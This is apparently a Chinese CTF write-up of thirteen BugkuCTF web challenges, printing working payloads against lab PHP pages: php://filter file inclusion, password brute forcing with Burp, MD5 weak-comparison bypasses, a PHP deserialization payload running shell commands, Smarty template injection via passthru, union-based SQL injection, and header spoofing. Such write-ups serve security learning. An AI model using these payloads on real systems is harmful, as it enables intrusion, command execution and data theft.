BugkuCTF之web解题记录(一)
[TOC]
1 文件包含
题目明示了这个题的漏洞类型,文件包含漏洞。
构造payload:**?file=php://filter/read=convert.base64-encode/resource=index.php**
文件包含类型的漏洞关于php://filter这一为协议有两张构造方式另一种是**?file=php://filter/resource=xxx.php**这一种类型往往无法显示,所以一般采用第一种方式。
77u/PGh0bWw DQogICAgPHRpdGxlPkJ1Z2t1LXdlYjwvdGl0bGU DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFnezk5YmZmMzJjZTkwYTZmY2I0YWVhYTFmMTAzNjM2MzY3fQ0KPz4NCjwvaHRtbD4NCg==
得到一大堆base64编码,解码得到flag
代码语言:javascript复制<html>
<title>Bugku-web</title>
<?php
error_reporting(0);
if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag:flag{99bff32ce90a6fcb4aeaa1f103636367}
?>
</html>
2 好像需要密码
随便往里面传一个数据,使用burp
抓包, 抓包后发送到Intruder
模块 ,由于密码是五位数,还有字典生成工具生成一个从00000到99999的字典导入burp的Intruder
模块, 将pwd
置为参数,因为变化的只有一个参数pwd
,所以选择的攻击方式为Sniper
。
POST /?yes HTTP/1.1
Host: 114.67.246.176:12057
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
Origin: http://114.67.246.176:12057
Connection: close
Referer: http://114.67.246.176:12057/
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1620903791,1621819076; _ga=GA1.1.1921386327.1620903793
Upgrade-Insecure-Requests: 1
pwd=§111§
在进行攻击就可以了,会跑一会,大概四五分钟就可以了。 当Payload
为12468
的时候返回包的长度是不同的,这个数字很可能就是密码 输入12468,题目返回了flag
flag{003feb2a87a93d430302de9745225ccf}
3 md5
这个题的话应该是出题人的问题,md5碰撞没给源码……让我想到了当年那道社工题目,社工题目游戏附件里的文件被删了,出题人还不去修复…..
好在评论区有高手啊,在评论区找到了题目的源码
代码语言:javascript复制<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
echo "nctf{*****************}";
} else {
echo "false!!!";
}}
else{echo "please input a";}
?>
将QNKCDZO
进行md5
加密后,发现为0e开头,所以此又有题目的提示,考虑MD5碰撞,就是经过md5加密后以0e开头的在进行‘==’运算时,php会认为他们都为0。
随便用md5文件解码工具,解码一个0e开头的md5构造payload
:php?a=s1885207154a
就能得到flag
flag{1f8ca27b98fec312c275523757fcb967}
4 安慰奖
打开网页是空白的,查看源码有显示YmFja3Vwcw==
是一个base64加密,得到backups
备份意思是这个网站应该有备份的php文件泄露,使用御剑扫描后台。有个名叫index.php.bnk
的备份,下载下来
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
- serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
- 与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup方法,预先准备对象需要的资源。
- __construct():PHP 允许开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法,所以非常适合在使用对象之前做一些初始化工作。
- __destruct():PHP 5 引入了析构函数的概念,这类似于其它面向对象的语言,如 C 。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
需要注意的是当访问控制符为private与protect时,序列化时比较特殊:
- protected属性被序列化的时候属性值会变成: * 属性名
- private属性被序列化的时候属性值会变成: 类名 属性名
分析代码
需要我们上传一个code参数,程序会对其反序列化,当判断username为admin时,会执行cmd内的代码。
因为调用unserialize函数之前会调用__wakeup方法,后面会将username覆盖为guest。将变量个数修改为大于实际值的数就能够绕过。
构造:O:3:”ctf”:3:{s:11:” * username”;s:5:”admin”;s:6:” * cmd”;s:2:”ls”;}
使用tac指令读取:O:3:”ctf”:3:{s:11:” * username”;s:5:”admin”;s:6:” * cmd”;s:12:”tac flag.php”;}
flag{Unser1alize_and_2CE_Add}
5 程序员本地登录
这个题我好想做了好几次了,,,我想了一下,这个其实不用burp,在浏览器拦截重发就行,而且他说了本地登录
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
加上X-Forwarded-For: 127.0.0.1
就行了。
得到flag{931ce924403e96daa678573e8f53a1fa}
6 需要管理员
打开网页他给我报404 Not Found
,使用御剑扫描后台,找到robots.txt打开就行。
Disallow: /resusl.php
接着打开就行,然后他回显Warning:你不是管理员你的IP已经被记录到日志了
在下面有回显,if (_GET[x]==password) ,猜一手password为admin,构造?x=admin就的得到了flag
flag{b57e4e59986a3799ed691bd01312686d}
7 变量1
打开网址发现一段PHP代码:
代码语言:javascript复制error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^w $/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
**if(isset(_GET[‘args’]))要求我们通过get方法传参,同时if(!preg_match(“/^w /“,args))**这一句代码我们可以知道他把大小写字母和数字,的全部过滤了。
构造的pload :http://114.67.246.176:11080/?args=GLOBALS
关于PHP的超全局变量找了一篇博客
8 前女友
代码语言:javascript复制<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}?>
看到md5,和==符号就想到了PHP的弱类型。
代码语言:javascript复制构造: index.php?v1[]=QLTHNDT&v2[]=UTIPEZQ&v3[]=EEIZDOI
MD5是不能处理数组的,md5(数组)会返回null,所以md5(a[])==null,md5(b[])==null,md5(a[])=md5(b[])=null,这样也可以得到答案了。
代码语言:javascript复制构造: index.php?v1[]=1&v2[]=2&v3[]=3
得到flag{64608b793996e7d5ea23984c5dd17e77}
9 聪明的php
代码语言:javascript复制<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value)
{print $key."n";
if(preg_match("/flag|/flag/i", $value)){
$smarty->display('./template.html');}
elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
$smarty->display('./template.html');}
else{$smarty->display("eval:".$value);}
}
}?>
system|readfile|gz|exec|eval|cat|assert|file|fgets这些函数被过滤掉了,**passthru()**函数没有被过滤可以使用。
构造**?a={passthru(“ls -al /“)}**
构造payload: /index.php?f={fread(fopen(“/_23682”,”r”),4096)}
10 学生成绩查询
典型的sql注入
,我还是喜欢手动注入,使用sqlmap
更简单,但是多动动手肯定没大事。
id=a' union select 1,2,3,4#
代码语言:javascript复制id=a' union select 1,2,3,database()#
得到数据库为skctf,在使用查询语句,查询表名
id=a; union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g'
id=a' union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g'
确定列名为skctf_flag
继续注入id=a' union select 1,2,3,concat(column_name) from information_schema.columns where table_name='fl4g' #
得到flag{ceea3e18163b989ab469f6b2ad7bec22}
11 秋名山车神
亲请在2s内计算老司机的车速是多少
1213033684-39909826-1331751592-916805948 * 50919270 831329677-2067628447 * 306216988*695768212-91423220 1902912207=?;
刷新了一下确定这个是会不断改变的,还是写一个脚本解决吧,这个题目可不是人手能算的。
代码语言:javascript复制import re
import requests
s=requests.session()
r=s.get("http://114.67.246.176:18683/")
searchObj= re.search(r'^<div>(.*)=?;</div>$',r.text,re.M | re.S)
d={
"value":eval(searchObj.group(1))
}
r=s.post("http://114.67.246.176:18683/",data=d)
print(r.text)
12 速度要快
使用Firefox打开题目网址,在F12下有个flag:这个是通过base64加密的产物,通过base64解码。得到
6LeR55qE6L Y5LiN6ZSZ77yM57uZ5L2gZmxhZ WQpzogTkRZNE9EST0=
NDY4ODI=解码得到46882,传一下,然后他骂我……
import requests
import base64
url = '''http://123.206.87.240:8002/web6/'''
header = requests.get(url).headers
key = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1])
phpsessid = header['Set-Cookie'].split(';')[0].split('=')[1]
post = {'margin':key}
cookie = {'PHPSESSID':phpsessid}
print(requests.post(url, data = post, cookies = cookie).text)
使用python脚本解码,并传参得到flag。
13 社工 伪造
这道题我不想多说,改QQ名这件事当真离谱……